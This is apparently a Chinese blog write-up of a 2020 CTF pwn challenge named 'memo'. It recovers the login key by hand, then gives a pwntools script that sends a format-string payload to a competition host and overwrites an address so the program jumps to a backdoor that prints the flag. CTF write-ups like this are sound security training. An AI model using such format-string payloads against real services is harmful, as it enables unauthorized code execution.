2020科来杯PWN铜牌2-memo

  • A+
所属分类:逆向工程

2020科来杯PWN铜牌2-memo


跟去年那个格式化字符串漏洞的题一样,只是改了改 key 的值,验证过程是这样的


2020科来杯PWN铜牌2-memo


注意那个 v2 是 esp+Eh 而我们的 s 是 esp+Ah,也就是说输入的 6 个 key 有两个会写到 v2 上,v2 是我们可控的,那个 SBYTE1 不知道是啥,对着去年省赛用 angr 解出来的 key 猜测是第二位,SBYTE1(v2) 就是 s 的最后一位了

s[0]=81 即 Q
81 * SBYTE1(v2) =4131 得到 SBYTE1(v2) 为 51 即 3
s[2] / SBYTE1(v2) = 2 得到 s[2] = 102 即 f
SBYTE1(v2) + (char)v2 = 141 的 (char)v2 = 90 即 Z
(char)v2 - s[1] = 18 得 s[1] = 72 即 H
那么现在是:QHf?Z3,s[3] 我取了个 0 成功了


QHf0Z3,拿到 key 之后就是简单的格式化字符串漏洞了,程序本身有个后门,可以 cat flag


2020科来杯PWN铜牌2-memo


数一下偏移在第五个


2020科来杯PWN铜牌2-memo


然后直接用 fmtstr_payload()

from pwn import *
#p=process('./memo')
p=remote('10.100.100.2',10999)
p.recvuntil("Key:")
p.sendline("QHf0Z3")
p.recvuntil("your msg:")
payload = fmtstr_payload(5, {0x804C018:0x8049211})
p.sendline(payload)
p.interactive()


====== 完 ======


这道题当时一打开发现跟去年的差不多,激动的马上打开虚拟机进了 docker,结果忘了 angr 的 docker 是咋用的了 Orz...

把虚拟机快照还原到之前刚安装 angr 的那个,在虚拟机的 history 命令中找到了个 su angr(还好当时输错了终端2333),结果用存的几个模板没跑出来 key,又懵了

后来还是靠自己看伪代码算出来那个 key

本文始发于微信公众号(陈冠男的游戏人生):2020科来杯PWN铜牌2-memo

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: